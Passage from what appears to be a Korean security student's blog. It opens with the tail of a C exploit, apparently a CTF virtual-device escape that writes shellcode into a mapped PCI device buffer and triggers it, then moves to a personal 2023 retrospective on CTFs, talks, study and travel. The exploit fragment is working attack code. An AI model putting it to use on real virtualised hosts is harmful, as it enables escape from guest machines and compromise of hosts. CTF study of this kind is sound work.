        0x6a, 0x01, 0x5f, 0x54, 0x5e, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x6a, 0x3c,
        0x58, 0x0f, 0x05
    };
    memcpy(&buff_u64[0x80], shellcode, sizeof(shellcode));

    buff_u64[0x3ec] = maria_buff_addr & ~0xfff;
    buff_u64[0x3eb] = maria_buff_addr + 0xf0;
    buff_u64[0x3eb - (maria_addr & 0xfff)/8] = maria_buff_addr + 0xf0;
    write_src(mem, buf_phys);
    write_off(mem, 0xf0);
    write_trigger(mem, 0x0);

    write_trigger(mem + 0x2000, 0x7);
    read_trigger(mem);
}

int main(int argc, char *argv[]) {
    int fd;
    void* mem;
    uint32_t magic;
    fd= open("/sys/devices/pci0000:00/0000:00:05.0/resource0", O_RDWR | O_SYNC);
    if(fd < 0)
        die("open");
    mem = map_device(fd);
    system("sysctl vm.nr_hugepages=32");
    system("cat /proc/meminfo | grep -i huge");
    exploit(mem);
    unmap_device(mem);
    close(fd);
    return 0;
}

'CTF' 카테고리의 다른 글

SECCON 2023 - selfcet (pwn)  (0) 2023.09.17
CTF 풀거  (0) 2023.09.14
SECCON 2022 - babyfile (pwn)  (0) 2023.09.14
SECCON 2022 - koncha (pwn)  (0) 2023.09.13

벌써 2023년의 3/4가 지나가서 이번 년 초부터 지금까지 한걸 대충 정리해보려고 한다.

 

1. Dreamhack

  • 드림핵에서 포너블만 찔끔찔끔 풀다가 같은 학과 동기가 리버싱을 공부하는데 재밌어 보이길래 리버싱도 건드렸다.
  • 엄청 어려울줄 알았는데 짬이 쌓였는지 내 생각보다 어렵진 않았고 금방 레이팅을 올릴 수 있었다. 
  • 근데 이제 풀 수 있는 문제들이 다 어려운 문제 밖에 없다.. 빡시게 공부 해야할듯?
  • 드림핵은 15000점대 까지만 올리면 유지가 되는 것 같아서 여기까지만 올리고 다른 워게임을 풀어볼 듯 하다 (pwnable.tw, pwnable.kr, ... )

2. 암호분석경진대회

  • soon_harri, ainsetin, 1s0m0rph1sm랑 같이 팀을 만들어서 암호분석경진대회를 나갔다.
  • 팀원들이 어려운걸 다 풀어줘서 1,2번만 풀고 달달하게 버스탔다. 심사를 9/15 까지 하는데 대상 받으면 좋겠다.
  • 못 해도 최우수상 일거 같은데 결과가 나오면 관련 후기를 한번 작성해보겠다.

3. 사이버보안챌린지

  • 예선이 좋게 끝나서 4등으로 마무리하고 본선을 가게 됐다. 난 그 때 일정이 있어서 본선은 못 가게 되었는데 팀원들이 좋은 결과를 냈으면 좋겠다.
  • 난 쉬운 문제 3문제 정도만 풀었는데 다른 분들이 잘하셔서 문제를 많이 풀어주셨다. 나도 고수가 될래~~~~~~~~~

4. WACON 예선

  • deazyl, is_toast, littledev0617랑 결속밴드라는 이름으로 일반부에 나갔다.
  • 진짜 모든 문제가 어려웠는데 못 풀어도 전혀 기분이 나쁘지 않았다. 이런게 퀄리티 좋은 대회인 것 같다
  • 근데 포너블 포지션으로 나갔는데 정작 푼건 크립토 두 문제다. 난 크립토를 해야하나?

5. Hacker's playground 

  • IPhone 이라는 14명으로 이루어진 팀으로 Hacker's playground에 나갔다. 원래 이정도 난이도가 아니었던거 같은데 이번이 유독 매웠따,,, 그래도 16등해서 만족이다.
  • 포너블 문제가 굉장히 재밌었다. 다음엔 잘 풀 수 있을 것 같다

6. CODEGATE 2023

  • 대학부에서 "김민욱팬클럽" 이라는 팀명으로 Hwangsumin, ursobad, me2nuk랑 나가게 되었다.
  • 여기선 포너블 한 문제랑 크립토 한 문제를 풀었는데, 리버싱을 거의 다 풀었는데 CTF 시간이 모자르고 실수를 해서 아쉽게 못 풀었다.. 본선을 아깝게 못 가서 내년엔 이정도 페이스면 무조건 본선에 갈 것 같다.

7. Dreamhack CTF Season S4 Round #4 (Div2)

  • 저번에 드림핵 슬리퍼를 얻기 위해 빡세게 했는데 문제 하나에서 걸려서 1등을 못 했다..
  • 그래서 이번에 드림핵 장패드를 준다길래 빡세게 해서 1등을 했다. 장패드가 빨리 왔으면 좋겠당~~~
  • 플래티넘 로고가 좀 멋있다

8. CCA 발표

  • CCA(전국사이버보안연합) 에서 heap exploit을 주제로 발표했다.
  • 슬슬 발표를 많이 해보니까 발표 시간이 내 생각보다 엄청 짧다는걸 느꼈다. 정보를 빠르고 간략하게 전달하는 법을 배워야 할듯

9. 일본 여행

  • 방학 되자마자 친한 형들 군대 가기 전에 다같이 모여서 일주일 도쿄 여행을 갔다.
  • 오타쿠들끼리 간거라 여윽시 씹덕질을 하러 갔다. 아키하바라, 봇치더락 성지순례, 어떤 과학의 초전자포 성지순례를 하러갔다.
  • 빠칭코가 굉장히 많은데 애니메이션이랑 콜라보를 많이해서 건물에 캐릭터가 디게 많았다. 짱 신기했음
  • 어과초 굿즈를 사려면 빠칭코에서 돈을 따야돼서 1000엔 정도만 넣고 해봤는데 다 잃었다. 역시 도박은 하는게 아님

10. 대학교 강의

  • 요즘 대학교 강의를 많이 다니고 있다. 교통비만 주면 무조건 가니까 gosegu@korea.ac.kr 로 연락주십셔~~~ 항시 환영

11. 대학교

  • 대학교를 열심히 다니고 있다. 공부를 열심히 하고 성과도 잘 나오니까 선배들도 잘 봐주시고 교수님도 응원해주셔서 기분이 좋다.
  • 근데 너무 공부만 하고 안 노니까 친구가 사라지는거 같기도 하고 ㅋㅋ 불러주면 잘 노는데 공부만 하는 줄 알고 애들이 안 부르는 것 같다. 나 좀 놀아줘~~
  • 근데 하루종일 해킹 공부만 하는게 나쁘지 않아서 이대로 살아도 될 것 같다. 실력만 늘면 되는게 아닐까?
  • 학점은 대학원 갈 정도만 챙기고 있다. 다 재밌는 과목들이라 재밌게 하니까 학점도 자연스럽게 잘 나오는 것 같다.

12. 군대

  • 군대 언제 가지?
  • 일단 Plan A는 대학원을 가서 전문연구요원을 하는건데 내가 그걸 할 수 있을 정도의 실력이 될지도 모르겠다
  • 그래서 엄청 빡세게 하고 있는건데 저게 안 되면 Plan B로 공군을 가던가 해야겠다.
  • 군대 절대 싫어~

+ Recent posts